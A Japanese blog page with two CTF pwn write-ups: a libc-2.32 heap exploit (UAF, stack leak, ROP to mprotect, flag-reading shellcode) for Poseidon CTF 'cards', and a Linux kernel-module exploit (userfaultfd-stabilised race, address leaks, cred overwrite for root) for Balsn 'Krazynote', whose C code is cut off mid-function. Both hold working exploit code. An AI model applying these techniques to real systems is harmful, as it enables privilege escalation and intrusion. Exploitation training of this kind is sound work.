【pwn 34.0】Poseidon CTF 2020 - cards
ROP to mprotect / re-allocated structure / UAF / environ to leak stack / libc2.32
- 1: イントロ
- 2. 問題概要
- 3. Vulns - heapbaseのleakまで
- 4: AAW/AAR
- 5: libcbase leak
- 6: StackAddr leak
- 7: ROP to mprotect
- 8: shellcode to open/read flag
- 9: exploit
- 10: アウトロ
1: イントロ
いつぞや行われた Poseidon CTF 2020
libc2.32問があったのでそれだけ解いた = pwn問 card
結局あまり関係なかった
猫も可愛いけどやっぱり犬が可愛いですよね
どっちになりたいかって言われたら猫ですけど、どっちが可愛いかって言われたら犬です
どっちがよりカイワレ大根かって言われたらカーテンですけど、どっちがアバンギャルドかって言われたらモスバーガーです
2. 問題概要
libc2.32 + セキュリティ機構FULL + stripped
$ file ./cards ./cards: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4bd480bc1c4df9d0b3d2bdd5287c1ea4b95aa794, stripped Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
以下に示すseccompがあり、且つprctl(PR_NO_NEW_PRIV)がセットされていた
0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0006 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0006: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0012 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0012: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0014 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0016 0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0016: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0018 0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0018: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0020 0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0020: 0x06 0x00 0x00 0x00000000 return KILL
カードの add edit free view ができる
なんか隠しコマンド 6 があったが使わなかった
3. Vulns - heapbaseのleakまで
・edit時にfreeしたかどうかのチェックがないためUAF(write) (view/freeはフラグをチェックするため不可)
・freeするときの順番が逆
・NULL終端がない
・バッファ(chunk)を初期化していない
・消去したノートのアドレスをNULLクリアしていない
・editにおいて note 構造体のサイズ情報ではなく他で保存した情報を用いている(note構造体中のsizeを変えられればoverflow)
・実際に確保したノート数+1に対して free/edit/view ができる
結局使ったのは1つ目と2つ目と3つ目と4つ目と5つ目の脆弱性のみ
まず、登場するchunkには3種類あって、ノートの情報を保持する構造体noteと、ノートに格納する名前に関する構造体target_noteと、実際に名前を格納するnameがある。この内noteはtarget_noteへのポインタを、target_noteはnameへのポインタを保持している。mallocの際にはこの順に確保される。
だがfree時にもこの順番でfreeしてしまっている。これはnoteをfreeした後でnote->target_noteをdereferenceすることになり十分脆弱性であると言える(今回はこの事実は使用していないが)。この順番でfreeをした後再びmallocをすると、かつてnoteだったchunkはnameになり、逆も然りである。よって、nameを読むことでかつてnoteとして保持していたtarget_noteへのポインタをleakすることができる。
4: AAW/AAR
上述した嘗てnoteであったnameチャンクをUAFで用いることで、target_noteポインタをleakするだけでなく上書きしてAAWに使うこともできる。この際、editにはnote構造体内の特定のフラグが立っている必要があるため忘れずに非ゼロでoverwriteしておく。
view自体は他のflagによって管理しているため、それだけではUAFのreadはできない。だが、AAWを持っている今、他のnoteのtarget_noteポインタを書き換えてやることで未だfreeされていないnoteからAARを達成できる。
5: libcbase leak
AAW+AARができるため、適当にsizeを書き換えてfreeを行いunsortedを生成してlibcbaseをleakする
6: StackAddr leak
AAW+AAR+libcbase leakedの状態のため、environを読んでstackaddrをleakする
7: ROP to mprotect
editによってedit()関数のreturn addrを書き換え、ROPに持ち込む。このROPの大きさは0xFFに限られているため、一度heapをmprotectでRWXにしてシェルコードを置くことにする。
8: shellcode to open/read flag
はい
9: exploit
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./cards" LIBCNAME = "./libc-2.32.so" hosts = ("poseidonchalls.westeurope.cloudapp.azure.com","localhost","localhost") ports = (9004,12300,23947) rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF(LIBCNAME) if LIBCNAME!="" else None ## utilities ######################################### def hoge(idx): c.recvuntil("Choice: ") c.sendline(str(idx)) def _add(size, color, name): if len(color) > 7: raw_input("[-] color size too long: "+hex(len(color))) exit() hoge(1) c.recvuntil("card: ") c.send(str(size)) c.recvuntil("color: ") c.send(color) c.recvuntil("name: ") c.send(name) def _remove(idx): hoge(2) c.recvuntil("card: ") c.sendline(str(idx)) def _edit(idx, name): hoge(3) c.recvuntil("card: ") c.send(str(idx)) c.recvuntil("name: ") c.send(name) def _view(idx): hoge(4) c.recvuntil("card: ") c.sendline(str(idx)) # 謎の隠しコマンド def _secret(name): hoge(6) c.recvuntil("name: ") c.send(name) # house of io ? def decrypt(Pd): L = Pd >> 36 for i in range(3): temp = (Pd >> (36-(i+1)*8)) & 0xff element = ((L>>4) ^ temp) & 0xff L = (L<<8) + element print("L : "+hex(L)) ## exploit ########################################### def exploit(): global c flag_path = "/home/challenge/flag\x00" shellcode = b"" shellcode += asm("mov rdi, 0x0000000067616c66") # /home/challenge/flag shellcode += asm("push rdi") shellcode += asm("mov rdi, 0x2f65676e656c6c61") shellcode += asm("push rdi") shellcode += asm("mov rdi, 0x68632f656d6f682f") shellcode += asm("push rdi") shellcode += asm("mov rdi, rsp") shellcode += asm("mov rax, 2") shellcode += asm("mov rdx, 0") shellcode += asm("mov rsi, 0") shellcode += asm("syscall") shellcode += asm("mov rdi, rax") shellcode += asm("mov rcx, rsp") # バッファ shellcode += asm("mov rsi, rcx") shellcode += asm("mov rdx, 0x80") shellcode += asm("mov rax, 0") shellcode += asm("syscall") shellcode += asm("mov rdi, 1") shellcode += asm("mov rsi, rsp") shellcode += asm("mov rdx, 0x80") shellcode += asm("mov rax, 1") shellcode += asm("syscall") print("shellcode len: "+hex(len(shellcode))) _add(0x20, "red", "A"*0x10) # 0x20である必要(struct noteと同じ) _remove(0) # leak heapbase _add(0x20, "A", "A"*0x10) _view(1) c.recvuntil("A"*0x10) leaked01 = unpack(c.recvuntil(".")[:-1].ljust(8,'\x00')) print("[+] leaked: "+hex(leaked01)) heapbase = leaked01 - 0x40 print("[+] heapbase: "+hex(heapbase)) # overwrite 0's flag _edit(1, p64(0xdeadbeefcafebabe)*3 + p64(1)) _add(0xf8, "B"*0x4, flag_path) # 2 _add(0xf8, "D"*0x4, "/bin/sh\x00") # 3 _add(0xf8, "F"*0x4, flag_path) # 4 _add(0xf8, "H"*0x4, p64(0x31)*(0xf8/8)) # 5 こいつがつじつま合わせに必要 0x450のfake chunkのnext _add(0xf8, "J"*0x4, shellcode) # 6 _edit(1, p64(heapbase + 0xf0 + 8) + p64(0xdeadbeefcafebabe) + p64(heapbase)) # これでnote->target==heapbaseとなり、note->target->name==目標のchunkになる _edit(0, p64(0x451)) # fake size of name of 2(maybe) _remove(2) # fake size == 0x451 unsorted生成 # libcbase leak _add(0x60, "X", "Y") #7 _view(7) c.recvuntil("Y") leaked02 = (unpack(c.recvuntil(".")[:-1].ljust(8,'\x00'))) * 0x100 - 0x400 print("[+] leaked: "+hex(leaked02)) libcbase = leaked02 - 0x3b6c00 print("[+] libcbase: "+hex(libcbase)) free_hook = libcbase + 0x3b8e80 system = libcbase + 0x43930 print("[+] free_hook: "+hex(free_hook)) # note4のname_ptrをenvironへ: stack leak _edit(1, p64(heapbase + 0x3a0) + p64(0xdeadbeefcafebabe) + p64(heapbase)) _edit(0,p64(libcbase + libc.symbols["environ"])) _view(4) c.recvuntil("name: ") environ = unpack(c.recvuntil(".")[:-1].ljust(8,'\x00')) print("[+] environ: "+hex(environ)) stack_ra = environ - 0x100 print("[+] RA addr of main stack: "+hex(stack_ra)) # EDITのstackのRA書き換え _edit(1, p64(heapbase + 0x680 - 0x20) + p64(0xdeadbeefcafebabe) + p64(heapbase)) _edit(0, p64(stack_ra - 0x78 + 8)) pop_rdi = 0x0002201c pop_rsi = 0x0002c626 pop_rdx = 0x00001b9e shell_mem = heapbase + 0x680 # note6 protected_mem = heapbase & 0xfffffffffffff000 rop = b"" rop += p64(libcbase + pop_rdi) rop += p64(protected_mem) rop += p64(libcbase + pop_rsi) rop += p64(0x3000) rop += p64(libcbase + pop_rdx) rop += p64(0x7) rop += p64(libcbase + libc.symbols["mprotect"]) rop += p64(shell_mem) _edit(6, rop) return ## main ############################################## if __name__ == "__main__": global c if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ c = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": c = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": c = remote(rhp3["host"],rhp3["port"]) else: c = remote(rhp2['host'],rhp2['port']) exploit() c.interactive()
10: アウトロ
歳を取りたくなさすぎて泣いています
続く...
【pwn 33.0】Krazynote - Balsn CTF 2019 (kernel exploit)
kernel exploit / unlocked_ioctl / race condition / userfaultfd / read insts to leak kernbase / walkthrough and overwrite PTE / prctl to leak current via com
- 0: 参考
- 1: イントロ
- 2: 準備
- 3: 問題概要ととっかかりのBug
- 4: userfaultfdによってrace conditionを安定させる
- 5: page_offset_base/ modulebase の leak
- 6: kernbaseのleak
- 7: PTEの権限bitを書き換える
- 8: prctl によって特定の領域をマーキングして総当りする
- 9: rootへ
- 10: exploit
- 11: アウトロ
0: 参考
1: イントロ
いつぞや行われた BalsnCTF 2019 の pwn問題 Krazynote
race condition/ PTEの書き換え/ brute-force 等様々な要素が関わってきて面白かった
2: 準備
配布物
run.sh: QEMUのスタートアップスクリプト. SMEP/SMAP有効. threads=4
initramfs.cpio.gz: initramfs. 特筆すべきことは無し
note.ko: LKM. ソースコードは無し
bzImage: カーネルイメージ. バージョン情報等は以下の通り
Linux (none) 5.1.9 #1 SMP Fri Jun 14 17:32:01 CST 2019 x86_64 GNU/Linux filename: /home/wataru/Documents/ctf/balsn2019/krazynote/work/./note.ko description: Secret Note license: GPL srcversion: 3D2D944721745235FC446C4 depends: retpoline: Y name: note vermagic: 5.1.9 SMP mod_unload
その他
LKMのソースが配布されている場合には、自前ビルドしたカーネルツリー下でモジュールをビルドしてやるとかなりデバッグがしやすくなるのだが、今回はソースが添付されていなかったため配布された素のイメージを使うことにした
環境やexploit本体などは以下のリポジトリに置いてある
3: 問題概要ととっかかりのBug
配布されたLKMは /dev/note という名で miscdevice を登録する
この時、fops には以下のように open と unlocked_ioctl しか登録されていない
open は特筆すべき内容がなく、実際は unlocked_ioctl のみに注目すれば良い
Ghidraでデコンパイルすると結構気持ち悪いコードが生成されたが、気合で補完したコードが以下である
#define CREATE 0xffffff00 #define EDIT 0xffffff01 #define READ 0xffffff02 #define ALLDEL 0xffffff03 struct information{ unsigned long idx; // index of note unsigned char size; // size of note char *buf; // userland buffer to/from which note content is written/read }; struct note{ unsigned long secret; unsigned long size; char *content_ptr; // maybe pointing to content below, though a little bit aligned? char content[]; }; struct note **notes; // array of note @ 0x102b60 static char *main_buf_ptr = 0x100b60; // @ 0x100b40 long* unlocked_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { struct information info; char buffer[0x100]; int tmp; char *tmp_ptr; unsigned long secret; struct note *target_note; info.idx = 0; info.size = 0; info.buf = NULL; memset(buffer, 0x00, 0x100); if(_copy_from_user(&info, (void*)arg, 0x18) == 0){ info.size = info.size & 0xff; info.idx = info.idx & 0xf; switch(cmd){ case CREATE: // create new note info.idx = -1; for(int ix=0; ix!=0x10; ++ix){ if(notes[ix] != NULL) // when find empty note entry continue; // copy requested note information from user notes[ix] = main_buf_ptr; notes[ix]->size = info.size; notes[ix]->secret = *(unsigned long*)(*(long*)(*(long*)(¤t_task + in_GS_OFFSET) + 0x7e8) + 0x50); if(info.size > 0x100){ _warn_printk("Buffer overflow detected (%d < %lu)!\n", 0x100, info.size); do{ invalidInstructionException(); }while(true); } // copy note content from userland __check_object_size(buffer, 0, info.size); _copy_from_user(buffer, info.buf, info.size); // encrypt copied note content if(info.size != 0){ tmp = 0; secret = notes[ix]->secret; do{ *(unsigned long*)(buffer + tmp) = *(unsigned long*)(buffer + tmp) ^ secret; tmp += 8; }while(tmp < info.size); } memcpy(main_buf_ptr + 0x18, buffer); notes[ix]->content_ptr = main_buf_ptr + 0x18 - page_offset_base; // ??? // set pointer forward main_buf_ptr = main_buf_ptr + 0x18 + notes[ix]->size; } break; case READ: target_note = notes[info.idx]; if(target_note != NULL){ tmp_ptr = target_note->content_ptr + page_offset_base; if(target_note->size != 0){ memcpy(buffer, tmp_ptr, target_note->size); for(int ix=0; ix!=target_note->size; ){ *(unsigned long*)(buffer + ix) = *(unsigned long*)(buffer + ix) ^ target_note->secret; ix += 8; } __check_object_size(buffer, target_note->size, 1); _copy_to_user(info.buf, buffer, target_note->size); } return 0; }else return 0; break; case ALLDEL: for(int ix=0; ix!=8; ++ix) notes[ix] = NULL; main_buf_ptr = 0x100b60; for(int ix=0; ix!=0x400; ++ix) *(unsigned long*)(main_buf_ptr + ix*8) = 0x0; break; case EDIT: /* ommitted cuz almost same as create */ break; default: return 0xffffffffffffffe7; } }else{ return 0xfffffffffffffff2; } }
ioctl の cmd で指定された値に応じて note を作成/消去/編集/読み込みする。この際使用されるバッファはモジュールの .bss 領域に存在し、その先頭から順次使用していくという形式になっている。また、ノートに書き込む/ノートから読み取った値を userland とやりとりするために _copy_to_user() と _copy_from_user() を用いている。ユーザはノートに書き込む値の他にも、ノートのサイズやインデックスを指定することができる。
特筆すべき点は、ノートに保存する値を page_offset_base という値でXORにかけ疑似暗号化していること。この page_offset_base は上に示したコードの通り struct task_struct 中のいずれかのメンバを参照した先の値なのだが、task_struct は kernel のビルドオプションによってかなりメンバが変わるため、page_offset_base がどのメンバに相当するのかを調べるのは難しい。詳しくは後述するが、それなりのデバッグと多少のメタ読みとカンニングの結果、この値は task_struct.mm -> (struct mm_struct*)mm-> (pgd_t*)pgd であることが分かった。最初のページディレクトリテーブルのアドレスである。
また、ノート構造体の content_ptr には実際にノートの内容が書いてあるアドレスではなく、そのアドレスに先程の page_offset_base を減算したアドレスが格納されていることも重要である。
さて、とっかかりの脆弱性は race condition である。
そもそもに compat_ioctl ではなく unlocked_ioctl が使われているため、_copy_from_user() 等の処理中にもロックが取られない。そのため、_copy_from_user() で使用するメモリ領域を途中で書き換えることができる。これを実現するためには、以下の順で ioctl を呼ぶ。
CREATE: idx=0 size=0xf0 EDIT: idx=0 | | ALLDELETE | CREATE: idx=0 size=0x10 | CREATE: idx=1 size=0x10 o (fin EDIT)
まず大きいサイズ(許容される最大サイズは 0xFF ) でノートをCREATEし、引き続きそれをEDITするのだが、それと同時に別スレッドにおいてALLDELETEを実行して全てのノートを削除し、引き続きCREATEで新しいノートを2つ作る。この別スレッドの作業はEDITが完了するまでに行う必要がある。一般に _copy_from_user() は重い処理であるから、何万回かトライすればこのような race condition が成立する。
これが成立するとノートバッファは以下の図のようになる。
EDITの最中に他スレッドによってノートが初期化され新たにサイズの小さい2つのノートがCREATEされたにも関わらず、EDITは古い情報をもとに _copy_from_user を既に実行してしまっているため、本来書き換えてはいけない note1 の size と secret を書き換えていることが分かる。
この状態で note1 から値をREADすることを考える。READの際には secret とXORすることでもとの値に復号してから _copy_to_user を行うのだが、今 secret1 にはoverwriteさせた分の 0 ^ secret が入っている。よって、note1 からデータ領域にある 0 (図中メモリ領域した半分の空白部分)を読もうとして復号処理を行うと、0 ^ secret ^ 0 をユーザに渡すことになり、これによって secret の値をリークすることができる。
secret の値が入手できたことと、note1 が実際よりも大きい size の情報を保持しているということから既に殆どAAW/AARであるが、詳しくは後述する。
4: userfaultfdによってrace conditionを安定させる
上述したrace conditionは数万回トライすれば恐らく1回は成功する気がする。だが、以下では race condition を更に安定化させる方法を考える。
userfaultfd システムコールによって userland におけるページフォルトをハンドリングすることができる。 基本的な使い方については man userfaultfd を参照のこと。尚、libcにこのシステムコールのwrapperはないため直接 syscall() を使うしかない。
このuserfaultfdによってmmap()したページをcopy_from_userでkernellandに渡すことで、kernel側が該当ページにアクセス(EDIT)した瞬間にkernelの処理を止めてuserlandに処理を移すことが可能になる
lazy loading が有効な場合には、mmap した瞬間にはそのページに対して物理メモリはマッピングされず、該当ページへのアクセスが発生た瞬間初めてページフォルトを発生させて物理メモリを割当・スワップインさせることになる
よって、mmap() だけしてアクセスされていない領域をEDITのデータ元として渡してやることでEDIT内の _copy_from_user() の開始直後にページフォルトが発生しユーザランドに処理を戻すことができる。ここで呼び出されるハンドラ内で、上述したALLDELETE+CREATE+CREATEの処理を行い、その後で処理を再び戻してやれば、先程のrace conditionは100%の確立で成功することになる。
以下が、userfaultfdの登録及びフォルトをハンドリングする関数である。尚、いずれもuserfaultfdのmanページを参照している。
// cf. man page of userfaultfd static void* fault_handler_thread(void *arg) { puts("[+] entered fault_handler_thread"); static struct uffd_msg msg; // data read from userfaultfd struct uffdio_copy uffdio_copy; long uffd = (long)arg; // userfaultfd file descriptor struct pollfd pollfd; // int nready; // number of polled events // set poll information pollfd.fd = uffd; pollfd.events = POLLIN; // wait for poll puts("[+] polling..."); while(poll(&pollfd, 1, -1) > 0){ if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP) errExit("poll"); // read an event if(read(uffd, &msg, sizeof(msg)) == 0) errExit("read"); if(msg.event != UFFD_EVENT_PAGEFAULT) errExit("unexpected pagefault"); printf("[!] page fault: %p\n",msg.arg.pagefault.address); // Now, another thread is halting. Do my business. puts("[+] now alldel + create*2"); _alldel(); // delete all notes _create(buf,0x10); // create note idx:0 _create(buf,0x10); // creat enote idx:1 // forge user buffer passed into copy_from_user(), which doesn't take a lock cuz called in unlock_ioctl uffdio_copy.src = buf; uffdio_copy.dst = addr; uffdio_copy.len = len; uffdio_copy.mode = 0; if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) errExit("ioctl-UFFDIO_COPY"); break; } puts("[+] exiting fault_handler_thrd"); } // cf. man page of userfaultfd void register_userfaultfd_and_halt(void) { puts("[+] registering userfaultfd..."); long uffd; // userfaultfd file descriptor pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; // create userfaultfd file descriptor uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc if(uffd == -1) errExit("userfaultfd"); // enable uffd object via ioctl(UFFDIO_API) uffdio_api.api = UFFD_API; uffdio_api.features = 0; if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl-UFFDIO_API"); // mmap puts("[+] mmapping..."); addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr. puts("[+] mmapped..."); if(addr == MAP_FAILED) errExit("mmap"); // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER) uffdio_register.range.start = addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl-UFFDIO_REGISTER"); s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd); if(s!=0){ errno = s; errExit("pthread_create"); } puts("[+] registered userfaultfd"); }
5: page_offset_base/ modulebase の leak
secret を入手できたため、note1 をREADすることで note2 の content_ptr をleakすることができる。(note1 の size は 0xFF ^ secret という巨大な値になっているため note2 のメタ情報までREADすることができる)
secret と content_ptr があれば、やはり note1 を利用することで note2 の content_ptr を上書きし、好きなアドレスの値を読み書きすることができる。
但し、本当に任意のアドレスのAAW/AARを達成するためには、目的のアドレスに対して減算するべき page_offset_base の値をleakする必要があるのだが、今現在この値はわかっていない。しかしその状態でも、先ほどleakした content_ptr には既に page_offset_table の値が減算されているという事実を用いて、.bss セクション内での相対的AAW/AARならば可能である。
よって、まずは note2 がノートアドレスの配列である notes_array を指すように上書きし、これによってノートが作られるバッファのアドレスをleakする。すると、content_ptr の page_offset_base を減算する前の値が手に入る。この2つの値を用いて page_offset_base の値を計算することができる。
また、.bss セクションのアドレスが分かったことになるため、modulebaseもleakできたことになる。
6: kernbaseのleak
ここまでで secret page_offset_base modulebase の3つがleakできているため、真の意味でAAW/AARになっている。だがkernbaseが分かっていないため、まずはコレを求める必要がある。
モジュール内に含まれるkernel symbol関連の情報と言えば、copy_from_user/ copy_to_user 等の関数の呼び出しである。モジュールのビルド時には当然これらのアドレスがわからないから、モジュールのインストール時に該当 call 命令を上書きし、RIPを用いた相対アドレスによってkernel関数のアドレスを解決している。例えばモジュール内の copy_to_user を呼び出す命令は以下のようになっていた。
これの上位4byteが相対アドレスであり、RIP + 0xF1620D0F で実際の copy_to_user のアドレスが計算できる。(相対アドレッシングに用いるRIPの値は、この命令ではなく、この1個次の命令のアドレスであることに注意。5を加える必要がある)
modulebaseがわかっておりAARであるから、この命令をleakすることでkernelのtextbaseをleakすることができる。
7: PTEの権限bitを書き換える
最初の方で言及したように、page_offset_base はページディレクトリのアドレスを表していた。AAWが存在する今、このページディレクトリを辿っていって目的ページのPTEを探し出し、permissionを変更してしまうことでRWX領域を作ることができる。そうなってしまえば後は kernelland に shellcode を仕込むことで、SMEP/SMAPに触れることなく目的を達成できる。尚、ページディレクトリは多重になっている。詳しくは(?)以下のページを参考のこと。
0:参考に挙げたページではこの方法を使っている。だが、今回は違う方法を使ってみることにした。
8: prctl によって特定の領域をマーキングして総当りする
kernel pwn の定石といえば、struct task_struct current の struct cred __rcu *cred 内のメンバを書き換えてUID==0にすることである。現状この手法を使うにあたって難しいのは、現在のタスクの cred のアドレスがわからないということである。逆に言えばこのアドレスさえleakできればAAWがあるため終了である。
struct task_struct 内の cred 周辺を見ると、char comm[TASK_COMM_LEN] というメンバが見つかる。これは、実行ファイル名が格納される配列(ポインタではなく!!!)であり、例えばカーネルのパニック時に以下のようなメッセージ上で出力されたりする。
この comm は ioctl (PR_SET_NAME) によってユーザが任意のタイミングで任意の文字列に変更することができる。AARであるから、この文字列をmarkerとしてメモリ状を全探索することで task_struct中の comm のアドレスを探し出すことができる。
また、デバッグオプションによって構造体内のオフセットが変動すると先に述べたが、comm と cred は隣り合っているメンバである。 よっぽどのことがない限り、comm - 8 = cred になると考えられる。(知らんけど)
ということで、愚直に全探索すると30秒程で cred の値がleakできる。
9: rootへ
cred のアドレスがわかっており、且つAAWであるため、もうやることは一つ
10: exploit
KASLR/ SMAP/ SMEP有効。
#define _GNU_SOURCE#include<sys/types.h>
#include<stdio.h>
#include<linux/userfaultfd.h>
#include<pthread.h>
#include<errno.h>
#include<stdlib.h>
#include<fcntl.h>
#include<signal.h>
#include<string.h>
#include<sys/mman.h>
#include<sys/syscall.h>
#include<poll.h>
#include<unistd.h>
#include<string.h>
#include<sys/ioctl.h>
#include<sys/prctl.h> #define ulong unsigned long #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0) ulong user_cs,user_ss,user_sp,user_rflags; int fd; // file descriptor of /dev/note void pop_shell(void) { char *argv[] = {"/bin/sh",NULL}; char *envp[] = {NULL}; execve("/bin/sh",argv,envp); } static void save_state(void) { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" ); } #define CREATE 0xffffff00 #define EDIT 0xffffff01 #define READ 0xffffff02 #define ALLDEL 0xffffff03 struct info{ unsigned long idx; unsigned long size; char *buf; }; int _create(char *buf, unsigned long size) { struct info info; info.buf = buf; info.size = size; info.idx = 0; if(ioctl(fd,CREATE,&info) < 0) errExit("_create"); puts("[+] created new note"); } int _alldel(void) { struct info info; info.buf = NULL; info.size = 0; info.idx = 0; if(ioctl(fd,ALLDEL,&info) < 0) errExit("_delall"); puts("[+] all deleted"); } int _read(unsigned long idx,char *buf) { struct info info; info.buf = buf; info.size = 0; info.idx = idx; if(ioctl(fd,READ,&info) < 0) errExit("_read"); //printf("[+] read note: %d\n",idx); } int _edit(unsigned long idx, char *buf) { struct info info; info.buf = buf; info.size = 0; info.idx = idx; if(ioctl(fd,EDIT,&info) < 0) errExit("_edit"); //printf("[+] edited: %d\n",idx); } char *addr = 0x117117000; // memory region supervisored char buf[0x3000]; // userland buffer unsigned long len = 0x1000; // memory length // cf. man page of userfaultfd static void* fault_handler_thread(void *arg) { puts("[+] entered fault_handler_thread"); static struct uffd_msg msg; // data read from userfaultfd struct uffdio_copy uffdio_copy; long uffd = (long)arg; // userfaultfd file descriptor struct pollfd pollfd; // int nready; // number of polled events // set poll information pollfd.fd = uffd; pollfd.events = POLLIN; // wait for poll puts("[+] polling..."); while(poll(&pollfd, 1, -1) > 0){ if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP) errExit("poll"); // read an event if(read(uffd, &msg, sizeof(msg)) == 0) errExit("read"); if(msg.event != UFFD_EVENT_PAGEFAULT) errExit("unexpected pagefault"); printf("[!] page fault: %p\n",msg.arg.pagefault.address); // Now, another thread is halting. Do my business. puts("[+] now alldel + create*2"); _alldel(); // delete all notes _create(buf,0x10); // create note idx:0 _create(buf,0x10); // creat enote idx:1 // forge user buffer passed into copy_from_user(), which doesn't take a lock cuz called in unlock_ioctl uffdio_copy.src = buf; uffdio_copy.dst = addr; uffdio_copy.len = len; uffdio_copy.mode = 0; if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) errExit("ioctl-UFFDIO_COPY"); break; } puts("[+] exiting fault_handler_thrd"); } // cf. man page of userfaultfd void register_userfaultfd_and_halt(void) { puts("[+] registering userfaultfd..."); long uffd; // userfaultfd file descriptor pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; // create userfaultfd file descriptor uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc if(uffd == -1) errExit("userfaultfd"); // enable uffd object via ioctl(UFFDIO_API) uffdio_api.api = UFFD_API; uffdio_api.features = 0; if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl-UFFDIO_API"); // mmap puts("[+] mmapping..."); addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr. puts("[+] mmapped..."); if(addr == MAP_FAILED) errExit("mmap"); // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER) uffdio_register.range.start = addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl-UFFDIO_REGISTER"); s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd); if(s!=0){ errno = s; errExit("pthread_create"); } puts("[+] registered userfaultfd"); } int main(void) { unsigned long secret; unsigned long content_ptr; unsigned long modulebase; unsigned long dif_main_buf, dif_notes_array; unsigned long page_offset_base; unsigned long rip_call_copy_to_user; unsigned long addr_copy_to_user; signed long rel_jmp_offset; unsigned long kern_textbase; void *tmp_addr; unsigned char *addr_cred; unsigned long addr_cred_in_task_struct; char tmp_buf[0x100]; unsigned long diff_copy_to_user = 0x353ee0; memset(buf, 0x00, sizeof(buf)); // open miscdevice //if((fd=open("/dev/note",O_RDWR))<0) // O_RDWR would be rejected due to permission error if((fd=open("/dev/note",O_RDONLY))<0) errExit("open-/dev/note"); // leak secret buf[0x10+0x8] = 0xff; // overwrite note1's size, which is allocated later _create(buf, 0x19); register_userfaultfd_and_halt(); sleep(1); _edit(0, addr); // invoke page fault and call fault_handler _read(1, buf); printf("[+] buf addr: %p\n",buf); printf("[!] head of leaked data:\n"); for(int ix=0; ix!=0x8; ++ix){ printf("\t%llx\n", ((unsigned long*)buf)[ix]); } secret = (void*)((unsigned long*)buf)[0x2]; printf("[!] secret: %p\n", secret); // leak content_ptr memset(buf, 0x00, sizeof(buf)); _create(buf, 0x10); // idx:2 _read(1, buf); printf("[!] leaked data decrypted with secret: %llx:\n",secret); for(int ix=0;ix!=0x10; ++ix){ printf("\t%llx\n", ((unsigned long*)buf)[ix] ^ secret); } content_ptr = ((unsigned long*)buf)[4] ^ secret; printf("[!] content_ptr of note2: %p\n",(void*)content_ptr); dif_main_buf = content_ptr - 0x68; // main_buf - page_offset_base dif_notes_array = dif_main_buf + (0x102b60 - 0x100b60); // notes_array - page_offset_base printf("[!] dif_notes_array: %p\n",(void*)dif_notes_array); // leak modulebase & page_offset_base ((unsigned long*)buf)[0] = 0; // content of note1 ((unsigned long*)buf)[1] = 0; // content of note1 ((unsigned long*)buf)[2] = 0; // secret of note2 ((unsigned long*)buf)[3] = 8; // size of 